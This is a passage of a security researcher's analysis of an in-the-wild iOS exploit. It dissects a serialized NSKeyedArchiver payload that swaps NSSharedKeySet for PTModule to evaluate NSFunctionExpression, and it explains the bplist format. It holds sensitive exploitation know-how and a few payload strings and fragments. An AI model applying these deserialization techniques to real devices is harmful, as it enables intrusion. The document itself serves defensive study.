<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v15 = objc_opt_class_385(&OBJC_CLASS___NSData);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v17 = objc_msgSend_setWithObjects__0(&OBJC_CLASS___NSSet, v16, v10, v11, v12, v13, v14, v15, 0LL);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v20 = objc_msgSend_decodeObjectOfClasses_forKey__0(a3, v18, v17, CFSTR("NS.configDict"));</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They then deserialize an </span><span class="YrefKOOkxY-c3">NSSharedKeyDictionary</span><span> (which is a subclass of </span><span class="YrefKOOkxY-c3">NSDictionary</span><span class="YrefKOOkxY-c5">):</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">-[NSSharedKeyDictionary initWithCoder:]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">v6 = objc_opt_class_388(&OBJC_CLASS___NSSharedKeySet);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v11 = (__int64)objc_msgSend_decodeObjectOfClass_forKey__4(a3, v8, v6, CFSTR("NS.skkeyset"));</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">NSSharedKeyDictionary</span><span> then adds </span><span class="YrefKOOkxY-c3">NSSharedKeySet</span><span class="YrefKOOkxY-c5"> to the allow-list and decodes one.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>But recall that using the arbitrary write they've swapped the implementation class used by </span><span class="YrefKOOkxY-c3">NSSharedKeySet</span><span> to instead be </span><span class="YrefKOOkxY-c3">PrototypeTools::_OBJC_CLASS___PTModule</span><span>! Which means that </span><span class="YrefKOOkxY-c3">initWithCoder</span><span> is now actually going to be called on a </span><span class="YrefKOOkxY-c3">PTModule</span><span>. And because they also flipped all the relevant security mitigation bits, unarchiving a </span><span class="YrefKOOkxY-c3">PTModule</span><span> will have the same side effect as it did in ForcedEntry of evaluating an </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span>. Except rather than a few kilobytes of serialized </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span>, this time it's half a megabyte. Things are only getting started!</span><hr style="page-break-before:always;display:none;"></p><h3 class="YrefKOOkxY-c6" id="h.7g1ruvk4x3ec"><span class="YrefKOOkxY-c10">Part II - Data Is All You Need</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">NSKeyedArchiver</span><span> objects are serialized as </span><span class="YrefKOOkxY-c3">bplist</span><span> objects. Extracting the </span><span class="YrefKOOkxY-c3">bplist</span><span> out of the exploit binary we can see that it's 437KB! The first thing to do is just run </span><span class="YrefKOOkxY-c3">strings</span><span> to get an idea of what might be going on. There are lots of strings we'd expect to see in a serialized </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSPredicateOperator_</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSRightExpression_</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSLeftExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSComparisonPredicate[NSPredicate</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">^NSSelectorNameYNSOperand[NSArguments</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSFunctionExpression\NSExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSConstantValue</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSConstantValueExpressionTself</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">\NSCollection</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSAggregateExpression</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">There are some indications that they might be doing some much more complicated stuff like executing arbitrary syscalls:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">syscallInvocation</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">manipulating locks:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">os_unfair_unlock_0x34</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">%os_unfair_lock_0x34InvocationInstance</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">spinning up threads:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">.detachNewThreadWithBlock:_NSFunctionExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">detachNewThreadWithBlock:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">!NSThread_detachNewThreadWithBlock</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">XNSThread</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">3NSThread_detachNewThreadWithBlockInvocationInstance</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">6NSThread_detachNewThreadWithBlockInvocationInstanceIMP</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthreadinvocation</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthread____converted</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">yWpthread</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthread_nextinvocation</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthread_next____converted</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">and sending and receiving mach messages:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mach_msg_sendInvocation</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mach_msg_receive____converted</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_make_memory_entryInvocation</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mach_make_memory_entry</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">#mach_make_memory_entryInvocationIMP</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">as well as interacting with IOKit:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOServiceMatchingInvocation</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOServiceMatching</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOServiceMatchingInvocationIMP</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">In addition to these strings there are also three fairly large chunks of javascript source which also look fairly suspicious:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var change_scribble=[.1,.1];change_scribble[0]=.2;change_scribble[1]=.3;var scribble_element=[.1];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p><h3 class="YrefKOOkxY-c6" id="h.xls77olom0ys"><span class="YrefKOOkxY-c10">Starting up</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">Last time I analysed one of these</a></span><span> I used </span><span class="YrefKOOkxY-c3">plutil</span><span> to dump out a human-readable form of the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5">. The object was small enough that I was then able to reconstruct the serialized object by hand. This wasn't going to work this time:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$ plutil -p bplist_raw | wc -l</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 58995</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Here's a random snipped a few tens of thousands of lines in:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">14319 => {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "$class" =></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32f60 [0x7ff85d4017d0]></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 29}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSConstantValue" =></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32f40 [0x7ff85d4017d0]></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14320}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">14320 => 2</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">14321 => {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "$class" =></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32fe0 [0x7ff85d4017d0]></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 27}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSArguments" =></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32fc0 [0x7ff85d4017d0]></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14323}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSOperand" =></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32fa0 [0x7ff85d4017d0]></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14319}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSSelectorName" =></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32f80 [0x7ff85d4017d0]></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14322}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>There are a few possible analysis approaches here: I could just deserialize the object using </span><span class="YrefKOOkxY-c3">NSKeyedUnarchiver</span><span> and see what happens (potentially using </span><span class="YrefKOOkxY-c3">dtrace</span><span> to hook interesting places) but I didn't want to just learn what this serialized object does - I want to know </span><span class="YrefKOOkxY-c14">how</span><span class="YrefKOOkxY-c5"> it works.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Another option would be parsing the output of </span><span class="YrefKOOkxY-c3">plutil</span><span> but I figured this was likely almost as much work as parsing the bplist from scratch so I decided to just write my own </span><span class="YrefKOOkxY-c3">bplist</span><span> and </span><span class="YrefKOOkxY-c3">NSArchiver</span><span class="YrefKOOkxY-c5"> parser and go from there.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This might seem like overdoing it, but with such a huge object it was likely I was going to need to be in the position to manipulate the object quite a lot to figure out how it actually worked.</span></p><h3 class="YrefKOOkxY-c6" id="h.z586oq8lkb3t"><span class="YrefKOOkxY-c10">bplist</span></h3>
<p class="YrefKOOkxY-c2"><span>Fortunately, </span><span class="YrefKOOkxY-c3">bplist</span><span> isn't a very complicated serialization format and only takes a hundred or so lines of code to implement. Furthermore, I didn't need to support all the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> features, just those used in the single serialized object I was investigating.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://medium.com/@karaiskc/understanding-apples-binary-property-list-format-281e6da00dbd">This blog post</a></span><span> gives a great overview of the format and also links to the </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://opensource.apple.com/source/CF/CF-550/CFBinaryPList.c">CoreFoundation .c file</a></span><span class="YrefKOOkxY-c5"> containing a comment defining the format.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">A bplist serialized object has 4 sections:</span></p><ul style="padding: 0;" class="c8 lst-kix_wvnn2lytn2eh-0 start"><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">header</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">objects</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">offsets</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">trailer</span></li></ul>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The objects section contains all the serialized objects one after the other. The offsets table contains indexes into the objects section for each object. Compound objects (arrays, sets and dictionaries) can then reference other objects via indexes into the offsets table.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> only supports a small number of built-in types:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">null</span><span>, </span><span class="YrefKOOkxY-c3">bool</span><span>, </span><span class="YrefKOOkxY-c3">int</span><span>, </span><span class="YrefKOOkxY-c3">real</span><span>, </span><span class="YrefKOOkxY-c3">date</span><span>, </span><span class="YrefKOOkxY-c3">data</span><span>, </span><span class="YrefKOOkxY-c3">ascii string</span><span>, </span><span class="YrefKOOkxY-c3">unicode string</span><span>, </span><span class="YrefKOOkxY-c3">uid</span><span>, </span><span class="YrefKOOkxY-c3">array</span><span>, </span><span class="YrefKOOkxY-c3">set</span><span> and </span><span class="YrefKOOkxY-c0">dictionary</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The serialized form of each type is pretty straightforward, and explained clearly in this comment in </span><span class="YrefKOOkxY-c3">CFBinaryPlist.c</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">Object Formats (marker byte followed by additional info in some cases)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">null 0000 0000</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool 0000 1000 // false</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool 0000 1001 // true</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">fill 0000 1111 // fill byte</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int 0001 nnnn ... // # of bytes is 2^nnnn, big-endian bytes</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">real 0010 nnnn ... // # of bytes is 2^nnnn, big-endian bytes</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">date 0011 0011 ... // 8 byte float follows, big-endian bytes</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">data 0100 nnnn [int] ... // nnnn is number of bytes unless 1111 then int count follows, followed by bytes</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">string 0101 nnnn [int] ... // ASCII string, nnnn is # of chars, else 1111 then int count, then bytes</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">string 0110 nnnn [int] ... // Unicode string, nnnn is # of chars, else 1111 then int count, then big-endian 2-byte uint16_t</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0111 xxxx // unused</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">uid 1000 nnnn ... // nnnn+1 is # of bytes</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1001 xxxx // unused</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">array 1010 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1011 xxxx // unused</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">set 1100 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">dict 1101 nnnn [int] keyref* objref* // nnnn is count, unless '1111', then int count follows</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1110 xxxx // unused</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1111 xxxx // unused</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>It's a Type-Length-Value encoding with the type field in the upper nibble of the first byte. There's some subtlety to decoding the variable sizes correctly, but it's all explained fairly well in the CF code. The </span><span class="YrefKOOkxY-c3">keyref*</span><span> and </span><span class="YrefKOOkxY-c3">objref*</span><span> are indexes into the eventual array of deserialized objects; the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> header defines the size of these references (so a small object with up to 256 objects could use a single byte as a reference.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Parsing the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> and printing it ends up with an object with this format:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">dict {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$top"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dict {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("root"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x1)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$version"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int(0x186a0)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$objects"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> array [</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+0]:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$null")</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+1]:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dict {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("NS.relative"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x3)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("WK.baseURL"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x3)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$0"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int(0xe)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$class"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x2)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+2]:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dict {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$classes"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> array [</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+0]:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("WKSecureCodingURLWrapper")</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+1]:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("NSURL")</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+2]:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("NSObject")</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$classname"):</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("WKSecureCodingURLWrapper")</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The top level object in this </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> is a dictionary with three entries:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$version: int(100000)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$top: uid(1)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$objects: an array of dictionaries</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This is the top-level format for an </span><span class="YrefKOOkxY-c3">NSKeyedArchiver</span><span>. Indirection in </span><span class="YrefKOOkxY-c3">NSKeyedArchivers</span><span> is done using the </span><span class="YrefKOOkxY-c3">uid</span><span> type, where the values are integer indexes into the </span><span class="YrefKOOkxY-c3">$objects</span><span> array. (Note that this is an </span><span class="YrefKOOkxY-c14">extra</span><span> layer of indirection, on top of the </span><span class="YrefKOOkxY-c3">keyref</span><span>/</span><span class="YrefKOOkxY-c3">objref</span><span> indirection used at the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> layer.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">$top</span><span> dictionary has a single key "</span><span class="YrefKOOkxY-c3">root</span><span>" with value </span><span class="YrefKOOkxY-c3">uid(1)</span><span> indicating that the object serialized by the </span><span class="YrefKOOkxY-c3">NSKeyedArchiver</span><span> is encoded as the second entry in the </span><span class="YrefKOOkxY-c3">$objects</span><span class="YrefKOOkxY-c5"> array.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Each object encoded within the NSKeyedArchiver effectively consists of two dictionaries:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">one defining its properties and one defining its class. Tidying up the sample above (since dictionary keys are all ascii strings) the properties dictionary for the first object looks like this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NS.relative : uid(0x3)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WK.baseURL : uid(0x3)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $0 : int(0xe)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $class : uid(0x2)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">$class</span><span> key tells us the type of object which is serialized. Its value is </span><span class="YrefKOOkxY-c3">uid(2)</span><span class="YrefKOOkxY-c5"> which means we need to go back to the objects array and find the dictionary at that index:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $classname : "WKSecureCodingURLWrapper"</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $classes : ["WKSecureCodingURLWrapper",</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSURL",</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSObject"]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Note that in addition to telling us the final class (</span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper</span><span class="YrefKOOkxY-c5">) it also defines the inheritance hierarchy. The entire serialized object consists of a fairly enormous graph of these two types of dictionaries defining properties and types.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
